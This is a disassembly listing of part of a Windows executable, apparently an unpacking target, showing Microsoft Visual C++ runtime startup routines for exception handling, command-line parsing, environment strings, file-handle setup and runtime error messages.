--------------------------------------------------------------------------- loc_423528: ; CODE XREF: sub_4234F7+23j cmp ebx, 1 jz loc_423627 mov ecx, dword_4DBE9C mov [ebp+arg_0], ecx mov ecx, [ebp+arg_4] mov dword_4DBE9C, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_423617 mov ecx, dword_43D4C0 mov edx, dword_43D4C4 add edx, ecx push esi cmp ecx, edx jge short loc_423577 lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:43D450h[esi*4] loc_42356E: ; CODE XREF: sub_4234F7+7Ej and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_42356E loc_423577: ; CODE XREF: sub_4234F7+69j mov eax, [eax] mov esi, dword_43D4CC cmp eax, 0C000008Eh jnz short loc_423592 mov dword_43D4CC, 83h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_423592: ; CODE XREF: sub_4234F7+8Dj cmp eax, 0C0000090h jnz short loc_4235A5 mov dword_43D4CC, 81h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_4235A5: ; CODE XREF: sub_4234F7+A0j cmp eax, 0C0000091h jnz short loc_4235B8 mov dword_43D4CC, 84h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_4235B8: ; CODE XREF: sub_4234F7+B3j cmp eax, 0C0000093h jnz short loc_4235CB mov dword_43D4CC, 85h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_4235CB: ; CODE XREF: sub_4234F7+C6j cmp eax, 0C000008Dh jnz short loc_4235DE mov dword_43D4CC, 82h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_4235DE: ; CODE XREF: sub_4234F7+D9j cmp eax, 0C000008Fh jnz short loc_4235F1 mov dword_43D4CC, 86h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_4235F1: ; CODE XREF: sub_4234F7+ECj cmp eax, 0C0000092h jnz short loc_423602 mov dword_43D4CC, 8Ah loc_423602: ; CODE XREF: sub_4234F7+99j ; sub_4234F7+ACj ... push dword_43D4CC push 8 call ebx pop ecx mov dword_43D4CC, esi pop ecx pop esi jmp short loc_42361F ; --------------------------------------------------------------------------- loc_423617: ; CODE XREF: sub_4234F7+52j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_42361F: ; CODE XREF: sub_4234F7+11Ej mov eax, [ebp+arg_0] mov dword_4DBE9C, eax loc_423627: ; CODE XREF: sub_4234F7+34j or eax, 0FFFFFFFFh jmp short loc_423635 ; --------------------------------------------------------------------------- loc_42362C: ; CODE XREF: sub_4234F7+Fj ; sub_4234F7+1Aj push [ebp+arg_4] call dword_427040 ; UnhandledExceptionFilter loc_423635: ; CODE XREF: sub_4234F7+2Cj ; sub_4234F7+133j pop ebx pop ebp retn sub_4234F7 endp ; =============== S U B R O U T I N E ======================================= sub_423638 proc near ; CODE XREF: sub_4234F7+7p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43D4C8 cmp dword_43D448, edx push esi mov eax, offset dword_43D448 jz short loc_423665 lea esi, [ecx+ecx*2] lea esi, ds:43D448h[esi*4] loc_42365A: ; CODE XREF: sub_423638+2Bj add eax, 0Ch cmp eax, esi jnb short loc_423665 cmp [eax], edx jnz short loc_42365A loc_423665: ; CODE XREF: sub_423638+16j ; sub_423638+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43D448h[ecx*4] cmp eax, ecx jnb short loc_423678 cmp [eax], edx jz short locret_42367A loc_423678: ; CODE XREF: sub_423638+3Aj xor eax, eax locret_42367A: ; CODE XREF: sub_423638+3Ej retn sub_423638 endp ; =============== S U B R O U T I N E ======================================= sub_42367B proc near ; CODE XREF: .packed:0041E278p cmp dword_4DD394, 0 jnz short loc_423689 call sub_420B0D loc_423689: ; CODE XREF: sub_42367B+7j push esi mov esi, dword_4DD38C mov al, [esi] cmp al, 22h jnz short loc_4236BB loc_423696: ; CODE XREF: sub_42367B+33j ; sub_42367B+36j mov al, [esi+1] inc esi cmp al, 22h jz short loc_4236B3 test al, al jz short loc_4236B3 movzx eax, al push eax call sub_424FE7 test eax, eax pop ecx jz short loc_423696 inc esi jmp short loc_423696 ; --------------------------------------------------------------------------- loc_4236B3: ; CODE XREF: sub_42367B+21j ; sub_42367B+25j cmp byte ptr [esi], 22h jnz short loc_4236C5 loc_4236B8: ; CODE XREF: sub_42367B+52j inc esi jmp short loc_4236C5 ; --------------------------------------------------------------------------- loc_4236BB: ; CODE XREF: sub_42367B+19j cmp al, 20h jbe short loc_4236C5 loc_4236BF: ; CODE XREF: sub_42367B+48j inc esi cmp byte ptr [esi], 20h ja short loc_4236BF loc_4236C5: ; CODE XREF: sub_42367B+3Bj ; sub_42367B+3Ej ... mov al, [esi] test al, al jz short loc_4236CF cmp al, 20h jbe short loc_4236B8 loc_4236CF: ; CODE XREF: sub_42367B+4Ej mov eax, esi pop esi retn sub_42367B endp ; =============== S U B R O U T I N E ======================================= sub_4236D3 proc near ; CODE XREF: .packed:0041E261p push ebx xor ebx, ebx cmp dword_4DD394, ebx push esi push edi jnz short loc_4236E5 call sub_420B0D loc_4236E5: ; CODE XREF: sub_4236D3+Bj mov esi, dword_4DBE34 xor edi, edi loc_4236ED: ; CODE XREF: sub_4236D3+30j mov al, [esi] cmp al, bl jz short loc_423705 cmp al, 3Dh jz short loc_4236F8 inc edi loc_4236F8: ; CODE XREF: sub_4236D3+22j push esi call sub_41B9C0 pop ecx lea esi, [esi+eax+1] jmp short loc_4236ED ; --------------------------------------------------------------------------- loc_423705: ; CODE XREF: sub_4236D3+1Ej lea eax, ds:4[edi*4] push eax call sub_41BEB5 mov esi, eax pop ecx cmp esi, ebx mov dword_4DBE04, esi jnz short loc_423727 push 9 call sub_41E2C9 pop ecx loc_423727: ; CODE XREF: sub_4236D3+4Aj mov edi, dword_4DBE34 cmp [edi], bl jz short loc_42376A push ebp loc_423732: ; CODE XREF: sub_4236D3+94j push edi call sub_41B9C0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_423763 push ebp call sub_41BEB5 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_423756 push 9 call sub_41E2C9 pop ecx loc_423756: ; CODE XREF: sub_4236D3+79j push edi push dword ptr [esi] call sub_41C890 pop ecx add esi, 4 pop ecx loc_423763: ; CODE XREF: sub_4236D3+6Cj add edi, ebp cmp [edi], bl jnz short loc_423732 pop ebp loc_42376A: ; CODE XREF: sub_4236D3+5Cj push dword_4DBE34 call sub_41BA91 pop ecx mov dword_4DBE34, ebx mov [esi], ebx pop edi pop esi mov dword_4DD390, 1 pop ebx retn sub_4236D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42378C proc near ; CODE XREF: .packed:0041E25Cp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_4DD394, ebx push esi push edi jnz short loc_4237A3 call sub_420B0D loc_4237A3: ; CODE XREF: sub_42378C+10j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx call dword_427078 ; GetModuleFileNameA mov eax, dword_4DD38C mov off_4DBE14, esi mov edi, esi cmp [eax], bl jz short loc_4237C8 mov edi, eax loc_4237C8: ; CODE XREF: sub_42378C+38j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push ebx push ebx push edi call sub_423825 mov eax, [ebp+var_8] mov ecx, [ebp+var_4] lea eax, [eax+ecx*4] push eax call sub_41BEB5 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_4237F8 push 8 call sub_41E2C9 pop ecx loc_4237F8: ; CODE XREF: sub_42378C+62j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax mov eax, [ebp+var_4] lea eax, [esi+eax*4] push eax push esi push edi call sub_423825 mov eax, [ebp+var_4] add esp, 14h dec eax mov dword_4DBDFC, esi pop edi pop esi mov dword_4DBDF8, eax pop ebx leave retn sub_42378C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423825 proc near ; CODE XREF: sub_42378C+47p ; sub_42378C+7Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_42384F mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_42384F: ; CODE XREF: sub_423825+20j cmp byte ptr [eax], 22h jnz short loc_423898 loc_423854: ; CODE XREF: sub_423825+58j ; sub_423825+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_423886 test dl, dl jz short loc_423886 movzx edx, dl test byte_4DD261[edx], 4 jz short loc_423879 inc dword ptr [ecx] test esi, esi jz short loc_423879 mov dl, [eax] mov [esi], dl inc esi inc eax loc_423879: ; CODE XREF: sub_423825+46j ; sub_423825+4Cj inc dword ptr [ecx] test esi, esi jz short loc_423854 mov dl, [eax] mov [esi], dl inc esi jmp short loc_423854 ; --------------------------------------------------------------------------- loc_423886: ; CODE XREF: sub_423825+36j ; sub_423825+3Aj inc dword ptr [ecx] test esi, esi jz short loc_423890 and byte ptr [esi], 0 inc esi loc_423890: ; CODE XREF: sub_423825+65j cmp byte ptr [eax], 22h jnz short loc_4238DB inc eax jmp short loc_4238DB ; --------------------------------------------------------------------------- loc_423898: ; CODE XREF: sub_423825+2Dj ; sub_423825+A5j inc dword ptr [ecx] test esi, esi jz short loc_4238A3 mov dl, [eax] mov [esi], dl inc esi loc_4238A3: ; CODE XREF: sub_423825+77j mov dl, [eax] inc eax movzx ebx, dl test byte_4DD261[ebx], 4 jz short loc_4238BE inc dword ptr [ecx] test esi, esi jz short loc_4238BD mov bl, [eax] mov [esi], bl inc esi loc_4238BD: ; CODE XREF: sub_423825+91j inc eax loc_4238BE: ; CODE XREF: sub_423825+8Bj cmp dl, 20h jz short loc_4238CC test dl, dl jz short loc_4238D0 cmp dl, 9 jnz short loc_423898 loc_4238CC: ; CODE XREF: sub_423825+9Cj test dl, dl jnz short loc_4238D3 loc_4238D0: ; CODE XREF: sub_423825+A0j dec eax jmp short loc_4238DB ; --------------------------------------------------------------------------- loc_4238D3: ; CODE XREF: sub_423825+A9j test esi, esi jz short loc_4238DB and byte ptr [esi-1], 0 loc_4238DB: ; CODE XREF: sub_423825+6Ej ; sub_423825+71j ... and [ebp+arg_10], 0 loc_4238DF: ; CODE XREF: sub_423825+19Ej cmp byte ptr [eax], 0 jz loc_4239C8 loc_4238E8: ; CODE XREF: sub_423825+D0j mov dl, [eax] cmp dl, 20h jz short loc_4238F4 cmp dl, 9 jnz short loc_4238F7 loc_4238F4: ; CODE XREF: sub_423825+C8j inc eax jmp short loc_4238E8 ; --------------------------------------------------------------------------- loc_4238F7: ; CODE XREF: sub_423825+CDj cmp byte ptr [eax], 0 jz loc_4239C8 test edi, edi jz short loc_42390C mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_42390C: ; CODE XREF: sub_423825+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_423911: ; CODE XREF: sub_423825+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_42391A: ; CODE XREF: sub_423825+FCj cmp byte ptr [eax], 5Ch jnz short loc_423923 inc eax inc ebx jmp short loc_42391A ; --------------------------------------------------------------------------- loc_423923: ; CODE XREF: sub_423825+F8j cmp byte ptr [eax], 22h jnz short loc_423954 test bl, 1 jnz short loc_423952 xor edi, edi cmp [ebp+arg_10], edi jz short loc_423941 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_423941 mov eax, edx jmp short loc_423944 ; --------------------------------------------------------------------------- loc_423941: ; CODE XREF: sub_423825+10Dj ; sub_423825+116j mov [ebp+arg_0], edi loc_423944: ; CODE XREF: sub_423825+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_423952: ; CODE XREF: sub_423825+106j shr ebx, 1 loc_423954: ; CODE XREF: sub_423825+101j mov edx, ebx dec ebx test edx, edx jz short loc_423969 inc ebx loc_42395C: ; CODE XREF: sub_423825+142j test esi, esi jz short loc_423964 mov byte ptr [esi], 5Ch inc esi loc_423964: ; CODE XREF: sub_423825+139j inc dword ptr [ecx] dec ebx jnz short loc_42395C loc_423969: ; CODE XREF: sub_423825+134j mov dl, [eax] test dl, dl jz short loc_4239B9 cmp [ebp+arg_10], 0 jnz short loc_42397F cmp dl, 20h jz short loc_4239B9 cmp dl, 9 jz short loc_4239B9 loc_42397F: ; CODE XREF: sub_423825+14Ej cmp [ebp+arg_0], 0 jz short loc_4239B3 test esi, esi jz short loc_4239A2 movzx ebx, dl test byte_4DD261[ebx], 4 jz short loc_42399B mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_42399B: ; CODE XREF: sub_423825+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_4239B1 ; --------------------------------------------------------------------------- loc_4239A2: ; CODE XREF: sub_423825+162j movzx edx, dl test byte_4DD261[edx], 4 jz short loc_4239B1 inc eax inc dword ptr [ecx] loc_4239B1: ; CODE XREF: sub_423825+17Bj ; sub_423825+187j inc dword ptr [ecx] loc_4239B3: ; CODE XREF: sub_423825+15Ej inc eax jmp loc_423911 ; --------------------------------------------------------------------------- loc_4239B9: ; CODE XREF: sub_423825+148j ; sub_423825+153j ... test esi, esi jz short loc_4239C1 and byte ptr [esi], 0 inc esi loc_4239C1: ; CODE XREF: sub_423825+196j inc dword ptr [ecx] jmp loc_4238DF ; --------------------------------------------------------------------------- loc_4239C8: ; CODE XREF: sub_423825+BDj ; sub_423825+D5j test edi, edi jz short loc_4239CF and dword ptr [edi], 0 loc_4239CF: ; CODE XREF: sub_423825+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_423825 endp ; =============== S U B R O U T I N E ======================================= sub_4239D9 proc near ; CODE XREF: .packed:0041E252p var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx mov eax, dword_4DBFA4 push ebx push ebp mov ebp, dword_427030 push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_423A27 call ebp ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz short loc_423A08 mov dword_4DBFA4, 1 jmp short loc_423A30 ; --------------------------------------------------------------------------- loc_423A08: ; CODE XREF: sub_4239D9+21j call dword_427034 ; GetEnvironmentStrings mov edi, eax cmp edi, ebx jz loc_423B02 mov dword_4DBFA4, 2 jmp loc_423AB6 ; --------------------------------------------------------------------------- loc_423A27: ; CODE XREF: sub_4239D9+19j cmp eax, 1 jnz loc_423AB1 loc_423A30: ; CODE XREF: sub_4239D9+2Dj cmp esi, ebx jnz short loc_423A40 call ebp ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz loc_423B02 loc_423A40: ; CODE XREF: sub_4239D9+59j cmp [esi], bx mov eax, esi jz short loc_423A55 loc_423A47: ; CODE XREF: sub_4239D9+73j ; sub_4239D9+7Aj inc eax inc eax cmp [eax], bx jnz short loc_423A47 inc eax inc eax cmp [eax], bx jnz short loc_423A47 loc_423A55: ; CODE XREF: sub_4239D9+6Cj sub eax, esi mov edi, dword_427188 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+38h+var_4], eax call edi ; WideCharToMultiByte mov ebp, eax cmp ebp, ebx jz short loc_423AA6 push ebp call sub_41BEB5 cmp eax, ebx pop ecx mov [esp+18h+var_8], eax jz short loc_423AA6 push ebx push ebx push ebp push eax push [esp+28h+var_4] push esi push ebx push ebx call edi ; WideCharToMultiByte test eax, eax jnz short loc_423AA2 push [esp+18h+var_8] call sub_41BA91 pop ecx mov [esp+18h+var_8], ebx loc_423AA2: ; CODE XREF: sub_4239D9+B9j mov ebx, [esp+18h+var_8] loc_423AA6: ; CODE XREF: sub_4239D9+99j ; sub_4239D9+A8j push esi call dword_427038 ; FreeEnvironmentStringsW mov eax, ebx jmp short loc_423B04 ; --------------------------------------------------------------------------- loc_423AB1: ; CODE XREF: sub_4239D9+51j cmp eax, 2 jnz short loc_423B02 loc_423AB6: ; CODE XREF: sub_4239D9+49j cmp edi, ebx jnz short loc_423AC6 call dword_427034 ; GetEnvironmentStrings mov edi, eax cmp edi, ebx jz short loc_423B02 loc_423AC6: ; CODE XREF: sub_4239D9+DFj cmp [edi], bl mov eax, edi jz short loc_423AD6 loc_423ACC: ; CODE XREF: sub_4239D9+F6j ; sub_4239D9+FBj inc eax cmp [eax], bl jnz short loc_423ACC inc eax cmp [eax], bl jnz short loc_423ACC loc_423AD6: ; CODE XREF: sub_4239D9+F1j sub eax, edi inc eax mov ebp, eax push ebp call sub_41BEB5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_423AEC xor esi, esi jmp short loc_423AF7 ; --------------------------------------------------------------------------- loc_423AEC: ; CODE XREF: sub_4239D9+10Dj push ebp push edi push esi call sub_41CD20 add esp, 0Ch loc_423AF7: ; CODE XREF: sub_4239D9+111j push edi call dword_42703C ; FreeEnvironmentStringsA mov eax, esi jmp short loc_423B04 ; --------------------------------------------------------------------------- loc_423B02: ; CODE XREF: sub_4239D9+39j ; sub_4239D9+61j ... xor eax, eax loc_423B04: ; CODE XREF: sub_4239D9+D6j ; sub_4239D9+127j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn sub_4239D9 endp ; =============== S U B R O U T I N E ======================================= sub_423B0B proc near ; CODE XREF: .packed:0041E242p var_44 = byte ptr -44h var_14 = dword ptr -14h var_10 = dword ptr -10h sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_41BEB5 mov esi, eax pop ecx test esi, esi jnz short loc_423B2B push 1Bh call sub_41E2C9 pop ecx loc_423B2B: ; CODE XREF: sub_423B0B+16j mov dword_4DD040, esi mov dword_4DD140, 20h lea eax, [esi+100h] loc_423B41: ; CODE XREF: sub_423B0B+52j cmp esi, eax jnb short loc_423B5F and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4DD040 add esi, 8 add eax, 100h jmp short loc_423B41 ; --------------------------------------------------------------------------- loc_423B5F: ; CODE XREF: sub_423B0B+38j lea eax, [esp+54h+var_44] push eax call dword_4271A8 ; GetStartupInfoA cmp word ptr [esp+54h+var_14+2], 0 jz loc_423C3B mov eax, [esp+54h+var_10] test eax, eax jz loc_423C3B mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_423B95 mov esi, eax loc_423B95: ; CODE XREF: sub_423B0B+86j cmp dword_4DD140, esi jge short loc_423BEF mov edi, offset dword_4DD044 loc_423BA2: ; CODE XREF: sub_423B0B+DAj push 100h call sub_41BEB5 test eax, eax pop ecx jz short loc_423BE9 add dword_4DD140, 20h mov [edi], eax lea ecx, [eax+100h] loc_423BC0: ; CODE XREF: sub_423B0B+CFj cmp eax, ecx jnb short loc_423BDC and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_423BC0 ; --------------------------------------------------------------------------- loc_423BDC: ; CODE XREF: sub_423B0B+B7j add edi, 4 cmp dword_4DD140, esi jl short loc_423BA2 jmp short loc_423BEF ; --------------------------------------------------------------------------- loc_423BE9: ; CODE XREF: sub_423B0B+A4j mov esi, dword_4DD140 loc_423BEF: ; CODE XREF: sub_423B0B+90j ; sub_423B0B+DCj xor edi, edi test esi, esi jle short loc_423C3B loc_423BF5: ; CODE XREF: sub_423B0B+12Ej mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_423C32 mov cl, [ebp+0] test cl, 1 jz short loc_423C32 test cl, 8 jnz short loc_423C14 push eax call dword_427024 ; GetFileType test eax, eax jz short loc_423C32 loc_423C14: ; CODE XREF: sub_423B0B+FCj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_4DD040[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_423C32: ; CODE XREF: sub_423B0B+EFj ; sub_423B0B+F7j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_423BF5 loc_423C3B: ; CODE XREF: sub_423B0B+65j ; sub_423B0B+71j ... xor ebx, ebx loc_423C3D: ; CODE XREF: sub_423B0B+195j mov eax, dword_4DD040 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_423C98 test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_423C58 push 0FFFFFFF6h pop eax jmp short loc_423C62 ; --------------------------------------------------------------------------- loc_423C58: ; CODE XREF: sub_423B0B+146j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_423C62: ; CODE XREF: sub_423B0B+14Bj push eax call dword_427028 ; GetStdHandle mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_423C87 push edi call dword_427024 ; GetFileType test eax, eax jz short loc_423C87 and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_423C8D loc_423C87: ; CODE XREF: sub_423B0B+163j ; sub_423B0B+16Ej or byte ptr [esi+4], 40h jmp short loc_423C9C ; --------------------------------------------------------------------------- loc_423C8D: ; CODE XREF: sub_423B0B+17Aj cmp eax, 3 jnz short loc_423C9C or byte ptr [esi+4], 8 jmp short loc_423C9C ; --------------------------------------------------------------------------- loc_423C98: ; CODE XREF: sub_423B0B+13Ej or byte ptr [esi+4], 80h loc_423C9C: ; CODE XREF: sub_423B0B+180j ; sub_423B0B+185j ... inc ebx cmp ebx, 3 jl short loc_423C3D push dword_4DD140 call dword_42702C ; LockResource pop edi pop esi pop ebp pop ebx add esp, 44h retn sub_423B0B endp ; --------------------------------------------------------------------------- align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423CC0 proc near ; DATA XREF: .packed:0041E1DDo ; sub_4228FD+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_423D60 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_423CF3: ; CODE XREF: sub_423CC0+90j cmp esi, 0FFFFFFFFh jz short loc_423D59 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_423D47 push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_423D47 js short loc_423D52 mov edi, [ebx+8] push ebx call sub_41D550 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_41D592 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41D626 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_423D47: ; CODE XREF: sub_423CC0+40j ; sub_423CC0+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_423CF3 ; --------------------------------------------------------------------------- loc_423D52: ; CODE XREF: sub_423CC0+54j mov eax, 0 jmp short loc_423D75 ; --------------------------------------------------------------------------- loc_423D59: ; CODE XREF: sub_423CC0+36j mov eax, 1 jmp short loc_423D75 ; --------------------------------------------------------------------------- loc_423D60: ; CODE XREF: sub_423CC0+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41D592 add esp, 8 pop ebp mov eax, 1 loc_423D75: ; CODE XREF: sub_423CC0+97j ; sub_423CC0+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_423CC0 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41D592 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_423D98 proc near ; CODE XREF: sub_41E2C9+9p ; sub_41E2EE+9p mov eax, dword_4DBE3C cmp eax, 1 jz short loc_423DAF test eax, eax jnz short locret_423DD0 cmp dword_43AE44, 1 jnz short locret_423DD0 loc_423DAF: ; CODE XREF: sub_423D98+8j push 0FCh call sub_423DD1 mov eax, dword_4DBFA8 pop ecx test eax, eax jz short loc_423DC5 call eax loc_423DC5: ; CODE XREF: sub_423D98+29j push 0FFh call sub_423DD1 pop ecx locret_423DD0: ; CODE XREF: sub_423D98+Cj ; sub_423D98+15j retn sub_423D98 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423DD1 proc near ; CODE XREF: sub_41E2C9+12p ; sub_41E2EE+12p ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_43D4D8 loc_423DE4: ; CODE XREF: sub_423DD1+20j cmp edx, [eax] jz short loc_423DF3 add eax, 8 inc ecx cmp eax, offset off_43D568 jl short loc_423DE4 loc_423DF3: ; CODE XREF: sub_423DD1+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_43D4D8[esi] jnz loc_423F21 mov eax, dword_4DBE3C cmp eax, 1 jz loc_423EFB test eax, eax jnz short loc_423E24 cmp dword_43AE44, 1 jz loc_423EFB loc_423E24: ; CODE XREF: sub_423DD1+44j cmp edx, 0FCh jz loc_423F21 lea eax, [ebp+var_1A4] push 104h push eax push 0 call dword_427078 ; GetModuleFileNameA test eax, eax jnz short loc_423E5B lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_41C890 pop ecx pop ecx loc_423E5B: ; CODE XREF: sub_423DD1+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_41B9C0 inc eax pop ecx cmp eax, 3Ch jbe short loc_423E9E lea eax, [ebp+var_1A4] push eax call sub_41B9C0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_41BFD0 add esp, 10h loc_423E9E: ; CODE XREF: sub_423DD1+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_41C890 lea eax, [ebp+var_A0] push edi push eax call sub_41C8A0 lea eax, [ebp+var_A0] push offset asc_427BF0 ; "\n\n" push eax call sub_41C8A0 push off_43D4DC[esi] lea eax, [ebp+var_A0] push eax call sub_41C8A0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_425029 add esp, 2Ch pop edi jmp short loc_423F21 ; --------------------------------------------------------------------------- loc_423EFB: ; CODE XREF: sub_423DD1+3Cj ; sub_423DD1+4Dj lea eax, [ebp+arg_0] lea esi, off_43D4DC[esi] push 0 push eax push dword ptr [esi] call sub_41B9C0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call dword_427028 ; GetStdHandle push eax call dword_4270F0 ; WriteFile loc_423F21: ; CODE XREF: sub_423DD1+2Ej ; sub_423DD1+59j ... pop esi leave retn sub_423DD1 endp ; =============== S U B R O U T I N E ======================================= sub_423F24 proc near ; CODE XREF: sub_42423B:loc_4243B3p push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4DD040 loc_423F33: ; CODE XREF: sub_423F24+48j mov eax, [ecx] test eax, eax jz short loc_423F70 lea edx, [eax+100h] loc_423F3F: ; CODE XREF: sub_423F24+28j cmp eax, edx jnb short loc_423F5F test byte ptr [eax+4], 1 jz short loc_423F4E add eax, 8 jmp short loc_423F3F ; --------------------------------------------------------------------------- loc_423F4E: ; CODE XREF: sub_423F24+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_423FB3 loc_423F5F: ; CODE XREF: sub_423F24+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4DD140 jl short loc_423F33 jmp short loc_423FB3 ; --------------------------------------------------------------------------- loc_423F70: ; CODE XREF: sub_423F24+13j mov esi, 100h push esi call sub_41BEB5 test eax, eax pop ecx jz short loc_423FB3 add dword_4DD140, 20h lea ecx, ds:4DD040h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_423F96: ; CODE XREF: sub_423F24+88j cmp eax, edx jnb short loc_423FAE and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_423F96 ; --------------------------------------------------------------------------- loc_423FAE: ; CODE XREF: sub_423F24+74j shl edi, 5 mov ebx, edi loc_423FB3: ; CODE XREF: sub_423F24+39j ; sub_423F24+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_423F24 endp ; =============== S U B R O U T I N E ======================================= sub_423FB9 proc near ; CODE XREF: sub_42423B+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DD140 push edi jnb short loc_424019 mov ecx, eax mov esi, eax 